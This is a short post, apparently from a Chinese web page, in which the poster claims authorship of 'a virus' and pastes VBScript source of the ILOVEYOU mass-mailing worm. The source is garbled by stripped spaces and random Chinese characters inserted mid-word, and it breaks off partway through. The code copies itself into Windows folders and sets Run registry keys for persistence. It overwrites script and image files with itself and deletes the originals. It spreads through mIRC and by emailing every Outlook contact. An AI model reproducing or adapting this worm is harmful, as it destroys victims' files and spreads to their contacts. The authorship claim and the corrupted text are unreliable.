jacky
这是我没事写的一个病毒代码
:)
r火体小embarok-lovelet来自ter(vbe)
remby:spyder/ispyder@***.com/@GRAMMERSoftGroup
/Manila,Philippines
OnErrorResumeNext
dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Setfso=CreateObject("Scripting.Fi谁力下是练间盐七张难leSystemObject")
setfile=fso.OpenTextFile(360问答WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
submain()
OnErrorResumeNext
dimwscr,rr
setwscr=CreateO湖里拉希指按断bject("***.shel季轻攻赶必命l")
rr=wscr.RegRead缺段官误费("HKEY_CU地感画河斗服形RRENT_USER\\Software\\Microsoft\\Windows
Scr相镇进西批连七iptingHost\\Settings\\Ti交假话季飞调致meout")
if(rr>=1)then<-设置超时
wscr.RegWrite
"HKEY_CURRENT_USER\\Software饭确日沉攻环增度独\\Microsoft\\Windows
宁操任ScriptingHost\\Settings顶尽何配们增\\Timeout吧他案态报陆展扬火陈",0,"REG_DWORD"
endif
Setdirwin=fso.GetSpecialFolder(0)
Setdirsystem=fso.GetSpecialFolder(1)
Setdirtemp=fso.GetSpecialFolder(2)
Setc=fso压术推.GetFile(输WScript.Scrip如洋千tFullName)
c.Copy(dirsystem&"\\MSKernel32.vbs")<-复制文件
c.Copy(dirwin&"\\Win32DLL.vbs")<-复制文件
c.Copy(dirsystem&"\\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
endsub
subregruns()
OnErrorResumeNext
Dimnum,downread
regcreate
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MSKernel32",dir约留春球唱system&"\\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\\Soft误希酸置什矛洲停ware\\Microsoft\\Windows\\CurrentVersion\\RunServices\\Win32DLL",dirwin&"\\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\DownloadDirectory")
if(downread="")then
downread="c:\\"
endif
if(fileexist(dirsystem&"\\WinFAT32.exe")=1)then
Randomize
num=Int((4*Rnd)+1)
ifnum=1then
regcreate"HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page",""
elseifnum=2then
regcreate"HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page",""
elseifnum=3then
regcreate"HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page",""
elseifnum=4then
regcreate"HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page",""
endif
endif
if(fileexist(downread&"\\WIN-BUGSFIX.exe")=0)then
regcreate
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WIN-BUGSFIX",downread&"\\WIN-BUGSFIX.exe"
regcreate
"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet
Explorer\\Main\\StartPage","about:blank"
endif
endsub
sublistadriv
OnErrorResumeNext
Dimd,dc,s
Setdc=fso.Drives
ForEachdindc
Ifd.DriveType=2ord.DriveType=3Then
folderlist(d.path&"\\")
endif
Next
listadriv=s
endsub
subinfectfiles(folderspec)
OnErrorResumeNext
dimf,f1,fc,ext,ap,mircfname,s,bname,mp3
setf=fso.GetFolder(folderspec)
setfc=f.Files
foreachf1infc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(***.name)
if(ext="vbs")or(ext="vbe")then
setap=fso.OpenTextFile(f1.path,2,true)
ap.writevbscopy
ap.close
elseif(ext="js")or(ext="jse")or(ext="css")or
(ext="wsh")or(ext="sct")or(ext="hta")then
setap=fso.OpenTextFile(f1.path,2,true)
ap.writevbscopy
ap.close
bname=fso.GetBaseName(f1.path)
setcop=fso.GetFile(f1.path)
cop.copy(folderspec&"\\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg")or(ext="jpeg")then
setap=fso.OpenTextFile(f1.path,2,true)
ap.writevbscopy
ap.close
setcop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3")or(ext="mp2")then
setmp3=fso.CreateTextFile(f1.path&".vbs")
mp3.writevbscopy
mp3.close
setatt=fso.GetFile(f1.path)
att.attributes=att.attributes+2
endif
if(eq<>folderspec)then
if(s="mirc32.exe")or(s="mlink32.exe")or
(s="mirc.ini")or(s="script.ini")or(s="mirc.hlp")
then
set
scriptini=fso.CreateTextFile(folderspec&"\\script.ini")
scriptini.WriteLine"[script]"
scriptini.WriteLine";mIRCScript"
scriptini.WriteLine";Pleasedonteditthisscript...
mIRCwillcorrupt,ifmIRCwill"
scriptini.WriteLine"corrupt...WINDOWSwillaffect
andwillnotruncorrectly.thanks"
scriptini.WriteLine";"
scriptini.WriteLine";KhaledMardam-Bey"
scriptini.WriteLine";"
scriptini.WriteLine";"
scriptini.WriteLine"n0=on1:JOIN:#:{"
scriptini.WriteLine"n1=/if($nick==$me){halt
}"
scriptini.WriteLine"n2=/.dccsend$nick
"&dirsystem&"\\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine"n3=}"
scriptini.close
eq=folderspec
endif
endif
next
endsub
subfolderlist(folderspec)
OnErrorResumeNext
dimf,f1,sf
setf=fso.GetFolder(folderspec)
setsf=f.SubFolders
foreachf1insf
infectfiles(f1.path)
folderlist(f1.path)
next
endsub
subregcreate(regkey,regvalue)
Setregedit=CreateObject("***.shell")
regedit.RegWriteregkey,regvalue
endsub
functionregget(value)
Setregedit=CreateObject("***.shell")
regget=regedit.RegRead(value)
endfunction
functionfileexist(filespec)
OnErrorResumeNext
dimmsg
if(fso.FileExists(filespec))Then
msg=0
else
msg=1
endif
fileexist=msg
endfunction
functionfolderexist(folderspec)
OnErrorResumeNext
dimmsg
if(fso.GetFolderExists(folderspec))then
msg=0
else
msg=1
endif
fileexist=msg
endfunction
subspreadtoemail()
OnErrorResumeNext
dim
x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
setregedit=CreateObject("***.shell")
setout=WScript.CreateObject("Outlook.Application")
setmapi=out.GetNameSpace("MAPI")
forctrlists=1tomapi.AddressLists.Count
seta=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a)
if(regv="")then
regv=1
endif
if(int(a.AddressEntries.Count)>int(regv))then
forctrentries=1toa.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&malead)
if(regad="")then
setmale=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject="ILOVEYOU"
male.Body=vbcrlf&"kindlychecktheattached
LOVELETTERcomingfromme."
male.Attachments.Add(dirsystem&"\\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&malead,1,"REG_DWORD"
endif
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"&a,a.AddressEntries.Count
endif
next
Setout=Nothing
Setmapi=Nothing
endsub
subhtml
OnErrorResumeNext
dimlines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
